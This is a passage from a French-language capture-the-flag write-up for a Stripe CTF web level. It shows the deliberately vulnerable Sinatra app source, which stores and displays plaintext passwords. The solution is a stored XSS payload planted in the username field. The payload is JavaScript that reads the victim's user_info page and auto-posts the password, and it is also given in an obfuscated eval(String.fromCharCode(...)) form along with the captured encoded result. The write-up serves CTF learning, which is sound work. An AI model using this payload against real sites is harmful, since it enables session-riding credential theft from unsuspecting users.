machine, for example, can only talk directly to the Streamer server itself!",
        :time => Time.now.utc)
    end
  end
 
  class StreamerSrv < Sinatra::Base
    set :environment, :production
    enable :sessions
 
    # Use persistent entropy file
    entropy_file = 'entropy.dat'
    unless File.exists?(entropy_file)
      File.open(entropy_file, 'w') do |f|
        f.write(OpenSSL::Random.random_bytes(24))
      end
    end
    set :session_secret, File.read(entropy_file)
 
    use Rack::Csrf, :raise => true
 
    helpers do
      def absolute_url(path)
        Streamer::URL_ROOT + path
      end
 
      # Insert an hidden tag with the anti-CSRF token into your forms.
      def csrf_tag
        Rack::Csrf.csrf_tag(env)
      end
 
      # Return the anti-CSRF token
      def csrf_token
        Rack::Csrf.csrf_token(env)
      end
 
      # Return the field name which will be looked for in the requests.
      def csrf_field
        Rack::Csrf.csrf_field
      end
 
      include Rack::Utils
      alias_method :h, :escape_html
    end
 
    def redirect(url)
      super(absolute_url(url))
    end
 
    before do
      @user = logged_in_user
      update_last_active
    end
 
    def logged_in_user
      if session[:user]
        @username = session[:user]
        @user = DB.conn[:users][:username => @username]
      end
    end
 
    def update_last_active
      return unless @user
      DB.conn[:users].where(:username => @user[:username]).
        update(:last_active => Time.now.utc)
    end
 
    def recent_posts
      # Grab the 5 most recent posts
      DB.conn[:posts].reverse_order(:time).limit(5).to_a.reverse
    end
 
    def registered_users
      DB.conn[:users].reverse_order(:id)
    end
 
    def die(msg, view)
      @error = msg
      halt(erb(view))
    end
 
    get '/' do
      if @user
        @registered_users = registered_users
        @posts = recent_posts
 
        erb :home
      else
        erb :login
      end
    end
 
    get '/register' do
      erb :register
    end
 
    post '/register' do
      username = params[:username]
      password = params[:password]
      unless username && password
        die("Please specify both a username and a password.", :register)
      end
 
      unless DB.conn[:users].where(:username => username).count == 0
        die("This username is already registered. Try another one.",
            :register)
      end
 
      DB.safe_insert(:users,
        :username => username,
        :password => password,
        :last_active => Time.now.utc
        )
      session[:user] = username
      redirect '/'
    end
 
    get '/login' do
      redirect '/'
    end
 
    post '/login' do
      username = params[:username]
      password = params[:password]
      user = DB.conn[:users][:username => username, :password => password]
      unless user
        die('Could not authenticate. Perhaps you meant to register a new' \
            ' account? (See link below.)', :login)
      end
 
      session[:user] = user[:username]
      redirect '/'
    end
 
    get '/logout' do
      session.clear
      redirect '/'
    end
 
    get '/user_info' do
      @password = @user[:password]
 
      erb :user_info
    end
 
    before '/ajax/*' do
      halt(403, 'Must be logged in!') unless @user
    end
 
    get '/ajax/posts' do
      recent_posts.to_json
    end
 
    post '/ajax/posts' do
      msg = create_post
      resp = {:response => msg}
      resp.to_json
    end
 
    # Fallback if JS breaks
    get '/posts' do
      redirect '/'
    end
 
    post '/posts' do
      create_post if @user
      redirect '/'
    end
 
    def create_post
      post_body = params[:body]
      title = params[:title] || 'untitled'
      if post_body
        DB.safe_insert(:posts,
          :user => @user[:username],
          :title => title,
          :body => post_body,
          :time => Time.now.utc
          )
        'Successfully added the post!'
      else
        'No post body given!'
      end
    end
  end
end
 
def main
  Streamer::DB.init
  Streamer::StreamerSrv.run!
end
 
if $0 == __FILE__
  main
  exit(0)
end

The contents of views/home.erb

<div class='row'>
  <div class='span9'>
    <h3>Stream of Posts</h3>
 
    <table id='posts' class='table table-bordered table-condensed'>
      <tbody>
      </tbody>
    </table>
 
    <script>
      var username = "<%= @username %>";
      var post_data = <%= @posts.to_json %>;
 
      function escapeHTML(val) {
        return $('<div/>').text(val).html();
      }
      function addPost(item) {
        var new_element = '<tr><th>' + escapeHTML(item['user']) +
            '</th><td><h4>' + escapeHTML(item['title']) + '</h4>' +
            escapeHTML(item['body']) + '</td></tr>';
        $('#posts > tbody:last').prepend(new_element);
      }
 
      for(var i = 0; i < post_data.length; i++) {
        var item = post_data[i];
        addPost(item);
      };
    </script>
 
    <form id='new_post' name='new_post' action='<%= absolute_url("/posts") %>'
          method='POST'>
      <%= csrf_tag %>
      <fieldset>
        <div class='control-group'>
          <label class='control-label' for='title'>Title:</label>
          <div class='controls'>
            <input class='input-medium' name='title' id='title' type='text'/>
          </div>
        </div>
        <div class='control-group'>
          <label class='control-label' for='content'>Content:</label>
          <div class='controls'>
            <textarea class='input-xlarge' name='body' id='content'
              type='text'>Your post here...</textarea>
          </div>
        </div>
        <div class='form-actions'>
          <input class='btn btn-primary' type='submit' value='Post'/>
        </div>
        <div id='status' name='status' class="alert alert-info">
          Ready and waiting!
        </div>
      </fieldset>
    </form>
 
    <script>
      $(document).ready(function() {
        $('#new_post').submit(function(e) {
          var new_post_data = {
            title: $("#title").val(),
            body: $("#content").val(),
            <%= csrf_field %>: "<%= csrf_token %>"
          };
          $.post('<%= absolute_url("/ajax/posts") %>',
                 new_post_data,
                 function(data) {
            var status_text = $.parseJSON(data);
            $('#status').html(status_text['response']);
 
            new_post_data['user'] = username;
            addPost(new_post_data);
          });
 
          e.preventDefault();
          return false;
        });
      });
    </script>
  </div>
  <div class='span3'>
    <h3>Users Online</h3>
    <table class='table table-condensed'>
      <% @registered_users.each do |user| %>
        <tr>
          <td>
            <% if @username == user[:username] %>
              <em>
                <a href='<%= absolute_url("/user_info") %>' target='_blank'>
                  <%=h user[:username] %> (me)i
                </a>
              </em>
            <% else %>
              <%=h user[:username] %>
            <% end %>
 
            <br />
 
            <span style="font-size:10px">
              Last active: <%= user[:last_active].strftime('%H:%M:%S UTC') %>
            </span>
          </td>
        </tr>
      <% end %>
    </table>
  </div>
</div>

The contents of views/login.erb

<div class='row'>
  <div class='span12'>
    <h3>Login</h3>
 
    <br />
 
    <p>
      Sign into your Streamer account, and instantly start sharing updates
      with your friends. If you don't have an account yet,
      <a href='<%= absolute_url ("/register") %>'>create one now</a>!
    </p>
 
    <br />
 
    <form class='form-inline' action='<%= absolute_url("/login") %>'
          method='post'>
      <%= csrf_tag %>
      <input class='input-medium' name='username' type='text'
             placeholder='Username'/>
      <input class='input-medium' name='password' type='password'
             placeholder='Password'/>
      <input class='btn btn-primary' type='submit' value='Sign In'/>
    </form>
  </div>
</div>

The contents of views/register.erb

<div class='row'>
  <div class='span12'>
    <h3>Register for a Streamer account</h3>
 
    <br />
 
    <form class='form-horizontal' action='<%= absolute_url("/register") %>'
          method='post'>
      <%= csrf_tag %>
      <fieldset>
        <div class='control-group'>
          <label class='control-label' for='username'>Username:</label>
          <div class='controls'>
            <input class='input-medium' name='username' id='username'
                   type='text' placeholder='Username'/>
          </div>
        </div>
        <div class='control-group'>
          <label class='control-label' for='username'>Password:</label>
          <div class='controls'>
            <input class='input-medium' name='password' id='password'
                   type='password' placeholder='Password'/>
          </div>
        </div>
        <div class='form-actions'>
          <input class='btn btn-primary' type='submit' value='Register'/>
        </div>
      </fieldset>
    </form>
  </div>
</div>

The contents of views/layout.erb

<!doctype html>
<html>
  <head>
    <title>Streamer</title>
    <script src='<%= absolute_url('/js/jquery-1.8.0.min.js') %>'></script>
    <link rel='stylesheet' type='text/css'
          href='<%= absolute_url('/css/bootstrap-combined.min.css') %>' />
  </head>
  <body>
    <div class='navbar'>
      <div class='navbar-inner'>
        <div class='container'>
          <a class='brand' href='<%= absolute_url("/") %>'>Streamer</a>
          <% if @user %>
            <ul class='nav pull-right'>
              <li><a href='<%= absolute_url("/logout") %>'>Log Out</a></li>
            </ul>
          <% end %>
        </div>
      </div>
    </div>
    <div class='container'>
<% if @error %>
  <p>Error: <%= @error %></p>
<% end %>
<% if @success %>
  <p>Success: <%= @success %></p>
<% end %>
 
      <%= yield %>
    </div>
  </body>
</html>

The contents of views/user_info.erb

<div class='row'>
  <div class='span12'>
    <h3>User Information</h3>
    <table class='table table-condensed'>
      <tr>
        <th>Username:</th>
        <td><%= @username %></td>
      </tr>
      <tr>
        <th>Password:</th>
        <td><%= @password %></td>
      </tr>
    </table>
  </div>
</div>

Solution Une fois enregistre, la page principale contient une liste de posts et la liste des utilisateurs en ligne. L'utilisateur peut ajouter des nouveaux posts et cliquer sur son nom. Ceci ouvrira la page user_info qui contient le username et le password. Comme pour l'epreuve du karma, l'idee est de forger un post de maniere a ce que quand celui-ci sera affiche par l'utilisateur level07-password-holder, les donnees de la page user_info seront lues et directement postees. Voila un exemple de script que l'on pourrait utiliser

$(function()
{
$(window).bind('load', function()
{
function httpGet(theUrl)
    {
    var xmlHttp = null;
 
    xmlHttp = new XMLHttpRequest();
    xmlHttp.open( "GET", theUrl, false );
    xmlHttp.send( null );
    return xmlHttp.responseText;
    }
 
value = httpGet("https://level06-2.stripe-ctf.com/user-fgdshrgpxf/user_info")
 
output = "";
	for(i=0; i<value.length; ++i)
	{
		if(output != "") output += ", ";
		output += value.charCodeAt(i);
	}
 
document.getElementById("new_post").title.value = "pw"
document.getElementById("new_post").content.value = output
 
 
document.getElementById("new_post").submit()
 
});
});

On remarque l'utilisation de $(window).bind('load', function() car il faut attendre que la page soit entierement chargee avant de pouvoir utiliser le formulaire. On encode aussi le resultat de la requete GET car sinon il y a des problemes d'encodage quand on cree un post avec le contenu html. Il ne reste plus qu'a trouver un endroit ou on peut injecter notre code. Et c'est dans le username. Si on essaie de mettre le script entier dans le username, il y a une erreur au niveau du serveur, on va donc l'encoder egalement, ce qui donne

<script>
eval(String.fromCharCode(36,40,102,117,110,99,116,105,111,110,40,41,10,123,10,10,36,40,119,105,110,100,111,119,41,46,98,105,110,100,40,39,108,111,97,100,39,44,32,102,117,110,99,116,105,111,110,40,41,10,123,10,10,102,117,110,99,116,105,111,110,32,104,116,116,112,71,101,116,40,116,104,101,85,114,108,41,10,32,32,32,32,123,10,32,32,32,32,118,97,114,32,120,109,108,72,116,116,112,32,61,32,110,117,108,108,59,10,10,32,32,32,32,120,109,108,72,116,116,112,32,61,32,110,101,119,32,88,77,76,72,116,116,112,82,101,113,117,101,115,116,40,41,59,10,32,32,32,32,120,109,108,72,116,116,112,46,111,112,101,110,40,32,34,71,69,84,34,44,32,116,104,101,85,114,108,44,32,102,97,108,115,101,32,41,59,10,32,32,32,32,120,109,108,72,116,116,112,46,115,101,110,100,40,32,110,117,108,108,32,41,59,10,32,32,32,32,114,101,116,117,114,110,32,120,109,108,72,116,116,112,46,114,101,115,112,111,110,115,101,84,101,120,116,59,10,32,32,32,32,125,10,10,118,97,108,117,101,32,61,32,104,116,116,112,71,101,116,40,34,104,116,116,112,115,58,47,47,108,101,118,101,108,48,54,45,50,46,115,116,114,105,112,101,45,99,116,102,46,99,111,109,47,117,115,101,114,45,102,103,100,115,104,114,103,112,120,102,47,117,115,101,114,95,105,110,102,111,34,41,10,10,111,117,116,112,117,116,32,61,32,34,34,59,10,9,102,111,114,40,105,61,48,59,32,105,60,118,97,108,117,101,46,108,101,110,103,116,104,59,32,43,43,105,41,10,9,123,10,9,9,105,102,40,111,117,116,112,117,116,32,33,61,32,34,34,41,32,111,117,116,112,117,116,32,43,61,32,34,44,32,34,59,10,9,9,111,117,116,112,117,116,32,43,61,32,118,97,108,117,101,46,99,104,97,114,67,111,100,101,65,116,40,105,41,59,10,9,125,10,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,110,101,119,95,112,111,115,116,34,41,46,116,105,116,108,101,46,118,97,108,117,101,32,61,32,34,112,119,34,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,110,101,119,95,112,111,115,116,34,41,46,99,111,110,116,101,110,116,46,118,97,108,117,101,32,61,32,111,117,116,112,117,116,10,10,10,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,66,121,73,100,40,34,110,101,119,95,112,111,115,116,34,41,46,115,117,98,109,105,116,40,41,10,10,125,41,59,10,125,41,59))
</script>

On cree ensuite un post quelconque et on attend que l'utilisateur 07 se connecte et on recupere son post

60, 33, 100, 111, 99, 116, 121, 112, 101, 32, 104, 116, 109, 108, 62, 10, 60, 104, 116, 109, 108, 62, 10, 32, 32, 60, 104, 101, 97, 100, 62, 10, 32, 32, 32, 32, 60, 116, 105, 116, 108, 101, 62, 83, 116, 114, 101, 97, 109, 101, 114, 60, 47, 116, 105, 116, 108, 101, 62, 10, 32, 32, 32, 32, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 106, 115, 47, 106, 113, 117, 101, 114, 121, 45, 49, 46, 56, 46, 48, 46, 109, 105, 110, 46, 106, 115, 39, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 10, 32, 32, 32, 32, 60, 108, 105, 110, 107, 32, 114, 101, 108, 61, 39, 115, 116, 121, 108, 101, 115, 104, 101, 101, 116, 39, 32, 116, 121, 112, 101, 61, 39, 116, 101, 120, 116, 47, 99, 115, 115, 39, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 99, 115, 115, 47, 98, 111, 111, 116, 115, 116, 114, 97, 112, 45, 99, 111, 109, 98, 105, 110, 101, 100, 46, 109, 105, 110, 46, 99, 115, 115, 39, 32, 47, 62, 10, 32, 32, 60, 47, 104, 101, 97, 100, 62, 10, 32, 32, 60, 98, 111, 100, 121, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 98, 97, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 98, 97, 114, 45, 105, 110, 110, 101, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 99, 111, 110, 116, 97, 105, 110, 101, 114, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 97, 32, 99, 108, 97, 115, 115, 61, 39, 98, 114, 97, 110, 100, 39, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 39, 62, 83, 116, 114, 101, 97, 109, 101, 114, 60, 47, 97, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 117, 108, 32, 99, 108, 97, 115, 115, 61, 39, 110, 97, 118, 32, 112, 117, 108, 108, 45, 114, 105, 103, 104, 116, 39, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 108, 105, 62, 60, 97, 32, 104, 114, 101, 102, 61, 39, 47, 117, 115, 101, 114, 45, 102, 103, 100, 115, 104, 114, 103, 112, 120, 102, 47, 108, 111, 103, 111, 117, 116, 39, 62, 76, 111, 103, 32, 79, 117, 116, 60, 47, 97, 62, 60, 47, 108, 105, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 60, 47, 117, 108, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 99, 111, 110, 116, 97, 105, 110, 101, 114, 39, 62, 10, 10, 32, 32, 32, 32, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 114, 111, 119, 39, 62, 10, 32, 32, 60, 100, 105, 118, 32, 99, 108, 97, 115, 115, 61, 39, 115, 112, 97, 110, 49, 50, 39, 62, 10, 32, 32, 32, 32, 60, 104, 51, 62, 85, 115, 101, 114, 32, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 60, 47, 104, 51, 62, 10, 32, 32, 32, 32, 60, 116, 97, 98, 108, 101, 32, 99, 108, 97, 115, 115, 61, 39, 116, 97, 98, 108, 101, 32, 116, 97, 98, 108, 101, 45, 99, 111, 110, 100, 101, 110, 115, 101, 100, 39, 62, 10, 32, 32, 32, 32, 32, 32, 60, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 104, 62, 85, 115, 101, 114, 110, 97, 109, 101, 58, 60, 47, 116, 104, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 100, 62, 108, 101, 118, 101, 108, 48, 55, 45, 112, 97, 115, 115, 119, 111, 114, 100, 45, 104, 111, 108, 100, 101, 114, 60, 47, 116, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 60, 116, 114, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 104, 62, 80, 97, 115, 115, 119, 111, 114, 100, 58, 60, 47, 116, 104, 62, 10, 32, 32, 32, 32, 32, 32, 32, 32, 60, 116, 100, 62, 39, 68, 83, 109, 98, 88, 77, 102, 87, 112, 107, 106, 88, 34, 60, 47, 116, 100, 62, 10, 32, 32, 32, 32, 32, 32, 60, 47, 116, 114, 62, 10, 32, 32, 32, 32, 60, 47, 116, 97, 98, 108, 101, 62, 10, 32, 32, 60, 47, 100, 105, 118, 62, 10, 60, 47, 100, 105, 118, 62, 10, 10, 32, 32, 32, 32, 60, 47, 100, 105, 118, 62, 10, 32, 32, 60, 47, 98, 111, 100, 121, 62, 10, 60, 47, 104, 116, 109, 108, 62, 10

Un coup de fromCharCode et on obtient son mot de passe

Level 7

Level 8